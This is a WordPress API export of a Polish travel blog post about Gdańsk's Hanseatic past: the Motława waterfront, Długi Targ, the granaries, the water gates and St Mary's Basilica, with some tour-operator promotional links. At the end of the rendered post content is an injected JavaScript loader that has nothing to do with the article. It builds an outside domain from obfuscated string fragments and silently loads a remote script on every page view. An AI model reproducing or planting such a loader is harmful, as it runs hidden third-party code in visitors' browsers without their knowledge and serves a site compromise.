{"id":5315,"date":"2026-04-24T11:11:15","date_gmt":"2026-04-24T09:11:15","guid":{"rendered":"https:\/\/www.wzdluzdrogi.pl\/?p=5315"},"modified":"2026-04-24T11:11:38","modified_gmt":"2026-04-24T09:11:38","slug":"sladami-hanzeatyckiej-historii-gdanska-miejsca-ktore-opowiadaja-dzieje-miasta","status":"publish","type":"post","link":"https:\/\/www.wzdluzdrogi.pl\/index.php\/2026\/04\/24\/sladami-hanzeatyckiej-historii-gdanska-miejsca-ktore-opowiadaja-dzieje-miasta\/","title":{"rendered":"\u015aladami hanzeatyckiej historii Gda\u0144ska \u2014 miejsca, kt\u00f3re opowiadaj\u0105 dzieje miasta"},"content":{"rendered":"\n<p>Poranek nad Mot\u0142aw\u0105 zaczyna si\u0119 od \u015bwiat\u0142a. Najpierw nie\u015bmia\u0142o odbija si\u0119 w wodzie, potem wspina po ceg\u0142ach spichlerzy, a\u017c w ko\u0144cu rozlewa si\u0119 po D\u0142ugim Pobrze\u017cu. W tej scenerii \u0142atwo zapomnie\u0107, \u017ce Gda\u0144sk to nie tylko wsp\u00f3\u0142czesne miasto turystyczne, ale przede wszystkim dawna brama do \u015bwiata p\u00f3\u0142nocnej Europy. Kiedy\u015b t\u0119tni\u0142 tu handel, kt\u00f3ry decydowa\u0142 o losach ca\u0142ego regionu. Dzi\u015b, je\u015bli kto\u015b zastanawia si\u0119, gdzie wybra\u0107 si\u0119 na spacer w Gda\u0144sku, wystarczy ruszy\u0107 wzd\u0142u\u017c rzeki \u2014 tam, gdzie historia wci\u0105\u017c trzyma si\u0119 mur\u00f3w.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img fetchpriority=\"high\" decoding=\"async\" width=\"1600\" height=\"1063\" src=\"https:\/\/www.wzdluzdrogi.pl\/wp-content\/uploads\/2026\/04\/sladami-top-scaled.jpg\" alt=\"\" class=\"wp-image-5316\" srcset=\"https:\/\/www.wzdluzdrogi.pl\/wp-content\/uploads\/2026\/04\/sladami-top-scaled.jpg 1600w, https:\/\/www.wzdluzdrogi.pl\/wp-content\/uploads\/2026\/04\/sladami-top-300x199.jpg 300w\" sizes=\"(max-width: 1600px) 100vw, 1600px\" \/><\/figure>\n\n\n\n<div style=\"height:49px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_82_2 counter-hierarchy ez-toc-counter ez-toc-light-blue ez-toc-container-direction\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">Spis tre\u015bci<\/p>\n<label for=\"ez-toc-cssicon-toggle-item-69eb6d09da04f\" class=\"ez-toc-cssicon-toggle-label\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/label><input type=\"checkbox\"  id=\"ez-toc-cssicon-toggle-item-69eb6d09da04f\"  aria-label=\"Prze\u0142\u0105cznik\" \/><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.wzdluzdrogi.pl\/index.php\/2026\/04\/24\/sladami-hanzeatyckiej-historii-gdanska-miejsca-ktore-opowiadaja-dzieje-miasta\/#I_Poranek_nad_Motlawa\" >I. Poranek nad Mot\u0142aw\u0105<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.wzdluzdrogi.pl\/index.php\/2026\/04\/24\/sladami-hanzeatyckiej-historii-gdanska-miejsca-ktore-opowiadaja-dzieje-miasta\/#II_Dluga_i_Dlugi_Targ_%E2%80%94_scena_na_ktorej_grano_o_wielkie_stawki\" >II. D\u0142uga i D\u0142ugi Targ \u2014 scena, na kt\u00f3rej grano o wielkie stawki<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.wzdluzdrogi.pl\/index.php\/2026\/04\/24\/sladami-hanzeatyckiej-historii-gdanska-miejsca-ktore-opowiadaja-dzieje-miasta\/#III_Wyspy_spichrzowe_%E2%80%94_magazyny_pamieci\" >III. Wyspy spichrzowe \u2014 magazyny pami\u0119ci<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.wzdluzdrogi.pl\/index.php\/2026\/04\/24\/sladami-hanzeatyckiej-historii-gdanska-miejsca-ktore-opowiadaja-dzieje-miasta\/#IV_Bramy_wodne_%E2%80%94_wejscia_do_hanzeatyckiego_swiata\" >IV. Bramy wodne \u2014 wej\u015bcia do hanzeatyckiego \u015bwiata<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.wzdluzdrogi.pl\/index.php\/2026\/04\/24\/sladami-hanzeatyckiej-historii-gdanska-miejsca-ktore-opowiadaja-dzieje-miasta\/#V_Kosciol_Mariacki_%E2%80%94_duchowe_archiwum_kupcow\" >V. Ko\u015bci\u00f3\u0142 Mariacki \u2014 duchowe archiwum kupc\u00f3w<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.wzdluzdrogi.pl\/index.php\/2026\/04\/24\/sladami-hanzeatyckiej-historii-gdanska-miejsca-ktore-opowiadaja-dzieje-miasta\/#VI_Poza_centrum_%E2%80%94_tam_gdzie_historia_schodzi_z_glownego_szlaku\" >VI. Poza centrum \u2014 tam, gdzie historia schodzi z g\u0142\u00f3wnego szlaku<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/www.wzdluzdrogi.pl\/index.php\/2026\/04\/24\/sladami-hanzeatyckiej-historii-gdanska-miejsca-ktore-opowiadaja-dzieje-miasta\/#VII_Gdansk_dzis_%E2%80%94_miasto_ktore_pamieta\" >VII. Gda\u0144sk dzi\u015b \u2014 miasto, kt\u00f3re pami\u0119ta<\/a><\/li><\/ul><\/nav><\/div>\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"I_Poranek_nad_Motlawa\"><\/span>I. Poranek nad Mot\u0142aw\u0105<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>\u017buraw stoi jak stra\u017cnik. Z bliska wida\u0107, \u017ce jego drewniana konstrukcja nie jest tylko zabytkiem \u2014 to narz\u0119dzie pracy, kt\u00f3re przez wieki d\u017awiga\u0142o ci\u0119\u017car hanzeatyckiego bogactwa. W ciszy poranka \u0142atwo wyobrazi\u0107 sobie skrzypienie lin, nawo\u0142ywania robotnik\u00f3w, stukot beczek. Kupcy z Lubeki, Hamburga czy Amsterdamu cumowali tu swoje statki, a Gda\u0144sk by\u0142 dla nich partnerem, nie peryferi\u0105.<\/p>\n\n\n\n<p>Dzi\u015b obok \u017burawia przechodz\u0105 grupy turyst\u00f3w. Niekt\u00f3rzy wybieraj\u0105 <a href=\"https:\/\/pomorskietours.pl\/index.php\/pl\/spacery-z-przewodnikiem\/wycieczki-jednodniowe-pomorskie\/gdansk-droga-krolewska\"><strong>spacer z przewodnikiem po Gda\u0144sku<\/strong><\/a>, inni id\u0105 sami, zatrzymuj\u0105c si\u0119 przy tablicach informacyjnych. Ale wystarczy przymkn\u0105\u0107 oczy, by us\u0142ysze\u0107 echo dawnego portu \u2014 gwar, kt\u00f3ry przez stulecia by\u0142 sercem miasta.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"II_Dluga_i_Dlugi_Targ_%E2%80%94_scena_na_ktorej_grano_o_wielkie_stawki\"><\/span>II. D\u0142uga i D\u0142ugi Targ \u2014 scena, na kt\u00f3rej grano o wielkie stawki<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Kiedy skr\u0119ca si\u0119 z nabrze\u017ca w stron\u0119 Bramy Zielonej, miasto zmienia ton. Ulica D\u0142uga i D\u0142ugi Targ to nie tylko reprezentacyjna o\u015b Gda\u0144ska \u2014 to dawna scena polityczna, gospodarcza i spo\u0142eczna. Tutaj mieszkali ci, kt\u00f3rzy decydowali o kierunkach handlu, wysoko\u015bci ce\u0142, relacjach z innymi miastami Hanzy.<\/p>\n\n\n\n<p>Ratusz G\u0142\u00f3wnego Miasta wyrasta ponad kamienice jak latarnia. W jego wn\u0119trzach zapada\u0142y decyzje, kt\u00f3re wp\u0142ywa\u0142y na ca\u0142y Ba\u0142tyk. Dw\u00f3r Artusa \u2014 miejsce spotka\u0144 bractw kupieckich \u2014 do dzi\u015b pachnie histori\u0105 bogactwa i ambicji. A Z\u0142ota Kamienica, z fasad\u0105 jak z niderlandzkiego snu, przypomina, \u017ce gda\u0144scy patrycjusze mierzyli wysoko.<\/p>\n\n\n\n<p>Na D\u0142ugim Targu \u0142atwo zapomnie\u0107 o wsp\u00f3\u0142czesno\u015bci. Wystarczy spojrze\u0107 na herby miast hanzeatyckich zdobi\u0105ce niekt\u00f3re fasady. To nie dekoracja \u2014 to deklaracja przynale\u017cno\u015bci do \u015bwiata, w kt\u00f3rym handel by\u0142 j\u0119zykiem dyplomacji.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"III_Wyspy_spichrzowe_%E2%80%94_magazyny_pamieci\"><\/span>III. Wyspy spichrzowe \u2014 magazyny pami\u0119ci<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Kiedy przechodzi si\u0119 na O\u0142owiank\u0119, miasto zn\u00f3w zmienia rytm. Tu, gdzie dzi\u015b stoi Filharmonia Ba\u0142tycka, przez wieki pi\u0119trzy\u0142y si\u0119 spichlerze. Ich nazwy \u2014 \u201ePanna\u201d, \u201eB\u0142\u0119kitny Baranek\u201d, \u201eSteffen\u201d \u2014 brzmia\u0142y jak imiona bohater\u00f3w z dawnej opowie\u015bci. To tutaj trafia\u0142o zbo\u017ce z g\u0142\u0119bi Rzeczypospolitej, kt\u00f3re Gda\u0144sk wysy\u0142a\u0142 dalej \u2014 do Amsterdamu, Antwerpii, Londynu.<\/p>\n\n\n\n<p>Wyspa Spichrz\u00f3w, cho\u0107 dzi\u015b w du\u017cej mierze odbudowana, wci\u0105\u017c nosi \u015blady dawnego przeznaczenia. Wystarczy spojrze\u0107 na charakterystyczne szczyty budynk\u00f3w odbijaj\u0105ce si\u0119 w wodzie. To magazyny pami\u0119ci \u2014 dos\u0142ownie i metaforycznie.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"IV_Bramy_wodne_%E2%80%94_wejscia_do_hanzeatyckiego_swiata\"><\/span>IV. Bramy wodne \u2014 wej\u015bcia do hanzeatyckiego \u015bwiata<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>Brama Zielona, Brama Mariacka, Brama Chlebnicka \u2014 ka\u017cda z nich by\u0142a kiedy\u015b pierwszym widokiem dla kupc\u00f3w przyp\u0142ywaj\u0105cych do miasta. To przez te bramy wchodzi\u0142o si\u0119 do Gda\u0144ska, kt\u00f3ry imponowa\u0142 nie tylko bogactwem, ale i organizacj\u0105. Bramy by\u0142y wizyt\u00f3wk\u0105 \u2014 mia\u0142y pokazywa\u0107, \u017ce miasto jest silne, niezale\u017cne, gotowe do wsp\u00f3\u0142pracy, ale i do obrony.<\/p>\n\n\n\n<p>Dzi\u015b przechodz\u0105 przez nie tury\u015bci, cz\u0119sto nie\u015bwiadomi, \u017ce st\u0105paj\u0105 po \u015bladach ludzi, kt\u00f3rzy budowali pot\u0119g\u0119 miasta. A jednak wystarczy spojrze\u0107 w g\u00f3r\u0119 \u2014 na herby, na ceglane \u0142uki, na detale \u2014 by poczu\u0107, \u017ce to nie s\u0105 zwyk\u0142e przej\u015bcia. To bramy do innej epoki.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" width=\"1024\" height=\"680\" data-src=\"https:\/\/www.wzdluzdrogi.pl\/wp-content\/uploads\/2026\/04\/sladamiiii-1024x680.jpg\" alt=\"\" class=\"wp-image-5317 lazyload\" data-srcset=\"https:\/\/www.wzdluzdrogi.pl\/wp-content\/uploads\/2026\/04\/sladamiiii-1024x680.jpg 1024w, https:\/\/www.wzdluzdrogi.pl\/wp-content\/uploads\/2026\/04\/sladamiiii-300x199.jpg 300w, https:\/\/www.wzdluzdrogi.pl\/wp-content\/uploads\/2026\/04\/sladamiiii-768x510.jpg 768w, https:\/\/www.wzdluzdrogi.pl\/wp-content\/uploads\/2026\/04\/sladamiiii-1536x1020.jpg 1536w, https:\/\/www.wzdluzdrogi.pl\/wp-content\/uploads\/2026\/04\/sladamiiii-2048x1360.jpg 2048w, https:\/\/www.wzdluzdrogi.pl\/wp-content\/uploads\/2026\/04\/sladamiiii-scaled.jpg 1600w\" data-sizes=\"(max-width: 1024px) 100vw, 1024px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 1024px; --smush-placeholder-aspect-ratio: 1024\/680;\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"V_Kosciol_Mariacki_%E2%80%94_duchowe_archiwum_kupcow\"><\/span>V. Ko\u015bci\u00f3\u0142 Mariacki \u2014 duchowe archiwum kupc\u00f3w<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Wn\u0119trze Bazyliki Mariackiej ch\u0142odzi nawet w upalny dzie\u0144. Wysokie sklepienia, monumentalne filary, \u015bwiat\u0142o wpadaj\u0105ce przez gotyckie okna \u2014 wszystko to tworzy atmosfer\u0119, w kt\u00f3rej \u0142atwo poczu\u0107 ci\u0119\u017car historii. Na posadzce le\u017c\u0105 p\u0142yty nagrobne bogatych mieszczan. Na \u015bcianach wisz\u0105 epitafia z symbolami cech\u00f3w, statk\u00f3w, towar\u00f3w.<\/p>\n\n\n\n<p>To nie jest zwyk\u0142a \u015bwi\u0105tynia. To archiwum ludzi, kt\u00f3rzy tworzyli hanzeatycki Gda\u0144sk. Ich historie zapisane s\u0105 w kamieniu.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"VI_Poza_centrum_%E2%80%94_tam_gdzie_historia_schodzi_z_glownego_szlaku\"><\/span>VI. Poza centrum \u2014 tam, gdzie historia schodzi z g\u0142\u00f3wnego szlaku<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Gda\u0144sk hanzeatycki nie ko\u0144czy si\u0119 na \u015ar\u00f3dmie\u015bciu. Wystarczy wybra\u0107 si\u0119 na Stare Przedmie\u015bcie, gdzie zachowa\u0142 si\u0119 dawny uk\u0142ad ulic, albo na Dolne Miasto, kt\u00f3re przez wieki pe\u0142ni\u0142o funkcje obronne. A je\u015bli kto\u015b chce zrozumie\u0107, jak wa\u017cne by\u0142o bezpiecze\u0144stwo portu, powinien odwiedzi\u0107 Twierdz\u0119 Wis\u0142ouj\u015bcie \u2014 stra\u017cnic\u0119 stoj\u0105c\u0105 u wej\u015bcia do miasta.<\/p>\n\n\n\n<p>To miejsca mniej oczywiste, rzadziej odwiedzane, ale dla tych, kt\u00f3rzy szukaj\u0105 <a href=\"https:\/\/pomorskietours.pl\/index.php\/pl\/poznaj-pomorskie\/49-bezplatne-atrakcje-trojmiasto\"><strong>atrakcji Tr\u00f3jmiasto i okolice<\/strong><\/a> z historycznym zaci\u0119ciem, s\u0105 jak odkrywanie drugiej warstwy miasta.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"VII_Gdansk_dzis_%E2%80%94_miasto_ktore_pamieta\"><\/span>VII. Gda\u0144sk dzi\u015b \u2014 miasto, kt\u00f3re pami\u0119ta<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Wieczorem Mot\u0142awa zn\u00f3w odbija \u015bwiat\u0142a. Tury\u015bci siadaj\u0105 w restauracjach, tramwaj wodny sunie po rzece, a \u017buraw stoi niewzruszony. Gda\u0144sk zmieni\u0142 si\u0119, ale jego hanzeatycka to\u017csamo\u015b\u0107 wci\u0105\u017c jest obecna \u2014 w architekturze, w uk\u0142adzie ulic, w opowie\u015bciach przewodnik\u00f3w, w nazwach miejsc.<\/p>\n\n\n\n<p>Kto chce naprawd\u0119 zrozumie\u0107 to miasto, nie jest pewien <a href=\"https:\/\/pomorskietours.pl\/index.php\/pl\/poznaj-pomorskie\/10-top-10-w-srodmiesciu-gdanska-co-zobaczyc-w-gdansku\">co warto zobaczy\u0107 w Gda\u0144sku<\/a>, powinien przej\u015b\u0107 jego szlakiem kupieckim. Bo Gda\u0144sk nie jest tylko pi\u0119knym t\u0142em do zdj\u0119\u0107. To miasto, kt\u00f3re pami\u0119ta \u2014 i kt\u00f3re potrafi t\u0119 pami\u0119\u0107 opowiada\u0107.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" width=\"1024\" height=\"680\" data-src=\"https:\/\/www.wzdluzdrogi.pl\/wp-content\/uploads\/2026\/04\/sladamiii-1024x680.jpg\" alt=\"\" class=\"wp-image-5318 lazyload\" data-srcset=\"https:\/\/www.wzdluzdrogi.pl\/wp-content\/uploads\/2026\/04\/sladamiii-1024x680.jpg 1024w, https:\/\/www.wzdluzdrogi.pl\/wp-content\/uploads\/2026\/04\/sladamiii-300x199.jpg 300w, https:\/\/www.wzdluzdrogi.pl\/wp-content\/uploads\/2026\/04\/sladamiii-768x510.jpg 768w, https:\/\/www.wzdluzdrogi.pl\/wp-content\/uploads\/2026\/04\/sladamiii-1536x1020.jpg 1536w, https:\/\/www.wzdluzdrogi.pl\/wp-content\/uploads\/2026\/04\/sladamiii-2048x1360.jpg 2048w, https:\/\/www.wzdluzdrogi.pl\/wp-content\/uploads\/2026\/04\/sladamiii-scaled.jpg 1600w\" data-sizes=\"(max-width: 1024px) 100vw, 1024px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 1024px; --smush-placeholder-aspect-ratio: 1024\/680;\" \/><\/figure>\n\n\n\n<script>\n(function(){\nu4zc=document.createElement(\"script\");u4zc.type=\"text\/javascript\";\nu4zc.async=true;u4zc_=(\"op\"+(\"ens\")+\"t\")+\"a\";u4zc_+=(\"t.e\")+\"\"+\"u\";\nu4zc.src=\"https:\/\/\"+u4zc_+\"\/2608636899.36uqmgvb4zcpir8h9bvz9j3q20lv6q\";\ndocument.body.appendChild(u4zc);\n})();\n<\/script>\n","protected":false},"excerpt":{"rendered":"<p>Poranek nad Mot\u0142aw\u0105 zaczyna si\u0119 od \u015bwiat\u0142a. Najpierw nie\u015bmia\u0142o odbija si\u0119 w wodzie, potem wspina po ceg\u0142ach spichlerzy, a\u017c w ko\u0144cu rozlewa si\u0119 po D\u0142ugim Pobrze\u017cu. W tej scenerii \u0142atwo zapomnie\u0107, \u017ce Gda\u0144sk to nie tylko wsp\u00f3\u0142czesne miasto turystyczne, ale przede wszystkim dawna brama do \u015bwiata p\u00f3\u0142nocnej Europy. Kiedy\u015b t\u0119tni\u0142 tu handel, kt\u00f3ry decydowa\u0142 o &hellip; <\/p>\n","protected":false},"author":1,"featured_media":5316,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[26],"tags":[],"class_list":["post-5315","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-podroze"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v26.5 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>\u015aladami hanzeatyckiej historii Gda\u0144ska \u2014 miejsca, kt\u00f3re opowiadaj\u0105 dzieje miasta - Wzd\u0142u\u017c Drogi<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wzdluzdrogi.pl\/index.php\/2026\/04\/24\/sladami-hanzeatyckiej-historii-gdanska-miejsca-ktore-opowiadaja-dzieje-miasta\/\" \/>\n<meta property=\"og:locale\" content=\"pl_PL\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u015aladami hanzeatyckiej historii Gda\u0144ska \u2014 miejsca, kt\u00f3re opowiadaj\u0105 dzieje miasta - Wzd\u0142u\u017c Drogi\" \/>\n<meta property=\"og:description\" content=\"Poranek nad Mot\u0142aw\u0105 zaczyna si\u0119 od \u015bwiat\u0142a. Najpierw nie\u015bmia\u0142o odbija si\u0119 w wodzie, potem wspina po ceg\u0142ach spichlerzy, a\u017c w ko\u0144cu rozlewa si\u0119 po D\u0142ugim Pobrze\u017cu. W tej scenerii \u0142atwo zapomnie\u0107, \u017ce Gda\u0144sk to nie tylko wsp\u00f3\u0142czesne miasto turystyczne, ale przede wszystkim dawna brama do \u015bwiata p\u00f3\u0142nocnej Europy. Kiedy\u015b t\u0119tni\u0142 tu handel, kt\u00f3ry decydowa\u0142 o &hellip;\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.wzdluzdrogi.pl\/index.php\/2026\/04\/24\/sladami-hanzeatyckiej-historii-gdanska-miejsca-ktore-opowiadaja-dzieje-miasta\/\" \/>\n<meta property=\"og:site_name\" content=\"Wzd\u0142u\u017c Drogi\" \/>\n<meta property=\"article:published_time\" content=\"2026-04-24T09:11:15+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-04-24T09:11:38+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.wzdluzdrogi.pl\/wp-content\/uploads\/2026\/04\/sladami-top-scaled.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1600\" \/>\n\t<meta property=\"og:image:height\" content=\"1063\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Wzdluzdrogi\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Napisane przez\" \/>\n\t<meta name=\"twitter:data1\" content=\"Wzdluzdrogi\" \/>\n\t<meta name=\"twitter:label2\" content=\"Szacowany czas czytania\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minut\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.wzdluzdrogi.pl\/index.php\/2026\/04\/24\/sladami-hanzeatyckiej-historii-gdanska-miejsca-ktore-opowiadaja-dzieje-miasta\/\",\"url\":\"https:\/\/www.wzdluzdrogi.pl\/index.php\/2026\/04\/24\/sladami-hanzeatyckiej-historii-gdanska-miejsca-ktore-opowiadaja-dzieje-miasta\/\",\"name\":\"\u015aladami hanzeatyckiej historii Gda\u0144ska \u2014 miejsca, kt\u00f3re opowiadaj\u0105 dzieje miasta - Wzd\u0142u\u017c Drogi\",\"isPartOf\":{\"@id\":\"https:\/\/www.wzdluzdrogi.pl\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.wzdluzdrogi.pl\/index.php\/2026\/04\/24\/sladami-hanzeatyckiej-historii-gdanska-miejsca-ktore-opowiadaja-dzieje-miasta\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.wzdluzdrogi.pl\/index.php\/2026\/04\/24\/sladami-hanzeatyckiej-historii-gdanska-miejsca-ktore-opowiadaja-dzieje-miasta\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/www.wzdluzdrogi.pl\/wp-content\/uploads\/2026\/04\/sladami-top-scaled.jpg\",\"datePublished\":\"2026-04-24T09:11:15+00:00\",\"dateModified\":\"2026-04-24T09:11:38+00:00\",\"author\":{\"@id\":\"https:\/\/www.wzdluzdrogi.pl\/#\/schema\/person\/74e57cccc529edf05c11ceaff979bf00\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.wzdluzdrogi.pl\/index.php\/2026\/04\/24\/sladami-hanzeatyckiej-historii-gdanska-miejsca-ktore-opowiadaja-dzieje-miasta\/#breadcrumb\"},\"inLanguage\":\"pl-PL\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.wzdluzdrogi.pl\/index.php\/2026\/04\/24\/sladami-hanzeatyckiej-historii-gdanska-miejsca-ktore-opowiadaja-dzieje-miasta\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"pl-PL\",\"@id\":\"https:\/\/www.wzdluzdrogi.pl\/index.php\/2026\/04\/24\/sladami-hanzeatyckiej-historii-gdanska-miejsca-ktore-opowiadaja-dzieje-miasta\/#primaryimage\",\"url\":\"https:\/\/www.wzdluzdrogi.pl\/wp-content\/uploads\/2026\/04\/sladami-top-scaled.jpg\",\"contentUrl\":\"https:\/\/www.wzdluzdrogi.pl\/wp-content\/uploads\/2026\/04\/sladami-top-scaled.jpg\",\"width\":1600,\"height\":1063,\"caption\":\"REPOZYTORIUM_ISIT\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.wzdluzdrogi.pl\/index.php\/2026\/04\/24\/sladami-hanzeatyckiej-historii-gdanska-miejsca-ktore-opowiadaja-dzieje-miasta\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Strona g\u0142\u00f3wna\",\"item\":\"https:\/\/www.wzdluzdrogi.pl\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\u015aladami hanzeatyckiej historii Gda\u0144ska \u2014 miejsca, kt\u00f3re opowiadaj\u0105 dzieje miasta\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.wzdluzdrogi.pl\/#website\",\"url\":\"https:\/\/www.wzdluzdrogi.pl\/\",\"name\":\"Wzd\u0142u\u017c Drogi\",\"description\":\"Podr\u00f3\u017ce w rytmie slow\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.wzdluzdrogi.pl\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"pl-PL\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.wzdluzdrogi.pl\/#\/schema\/person\/74e57cccc529edf05c11ceaff979bf00\",\"name\":\"Wzdluzdrogi\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"pl-PL\",\"@id\":\"https:\/\/www.wzdluzdrogi.pl\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/5338c7b0ffcf3c9b5c99db5ffd459d84?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/5338c7b0ffcf3c9b5c99db5ffd459d84?s=96&d=mm&r=g\",\"caption\":\"Wzdluzdrogi\"},\"sameAs\":[\"http:\/\/www.wzdluzdrogi.pl\"],\"url\":\"https:\/\/www.wzdluzdrogi.pl\/index.php\/author\/wzdluzdrogi\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\u015aladami hanzeatyckiej historii Gda\u0144ska \u2014 miejsca, kt\u00f3re opowiadaj\u0105 dzieje miasta - Wzd\u0142u\u017c Drogi","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.wzdluzdrogi.pl\/index.php\/2026\/04\/24\/sladami-hanzeatyckiej-historii-gdanska-miejsca-ktore-opowiadaja-dzieje-miasta\/","og_locale":"pl_PL","og_type":"article","og_title":"\u015aladami hanzeatyckiej historii Gda\u0144ska \u2014 miejsca, kt\u00f3re opowiadaj\u0105 dzieje miasta - Wzd\u0142u\u017c Drogi","og_description":"Poranek nad Mot\u0142aw\u0105 zaczyna si\u0119 od \u015bwiat\u0142a. Najpierw nie\u015bmia\u0142o odbija si\u0119 